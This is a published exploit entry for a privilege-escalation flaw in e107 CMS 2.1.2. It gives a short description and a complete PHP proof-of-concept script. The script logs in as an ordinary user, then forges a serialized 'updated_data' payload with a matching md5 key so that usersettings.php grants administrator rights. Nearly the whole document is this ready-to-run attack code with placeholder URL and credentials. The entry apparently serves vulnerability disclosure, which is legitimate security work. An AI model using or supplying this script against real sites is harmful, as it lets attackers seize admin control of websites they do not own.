e107 CMS 2.1.2 Privilege Escalation

`# Exploit Title: e107 CMS 2.1.2 Privilege Escalation  
# Date: 09-11-2016  
# Software Link: http://e107.org/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.  
  
http://security.szurek.pl/e107-cms-211-privilege-escalation.html  
  
2. Proof of Concept  
  
<?php  
  
/**  
* e107 CMS 2.1.2 Privilege Escalation  
* Kacper Szurek  
* http://security.szurek.pl  
*/  
function hack($url, $login, $pass, $cookie){  
  
$ckfile = dirname(__FILE__) . $cookie;  
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");  
  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);  
curl_setopt($ch, CURLOPT_TIMEOUT, 10);  
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));  
curl_setopt($ch, CURLOPT_POST, 1);  
$content = curl_exec($ch);  
if (strpos($content, '?logout') === false) {  
die("Cannot login");  
}  
  
$data = array();  
$data['user_admin'] = 1;  
$data['user_perms'] = 0;  
$data['user_password'] = md5($pass);  
  
curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));  
$content = curl_exec($ch);  
  
if (strpos($content, 'Settings updated') === false) {  
die("Exploit probably failed");  
}  
  
die('OK!');  
}  
  
$url = "http://url_here";  
  
// Standard user credentials   
$user = "login_here";  
$pass = "password_here";  
  
$cookie = "/cookie.txt";  
hack($url, $user, $pass, $cookie);  
`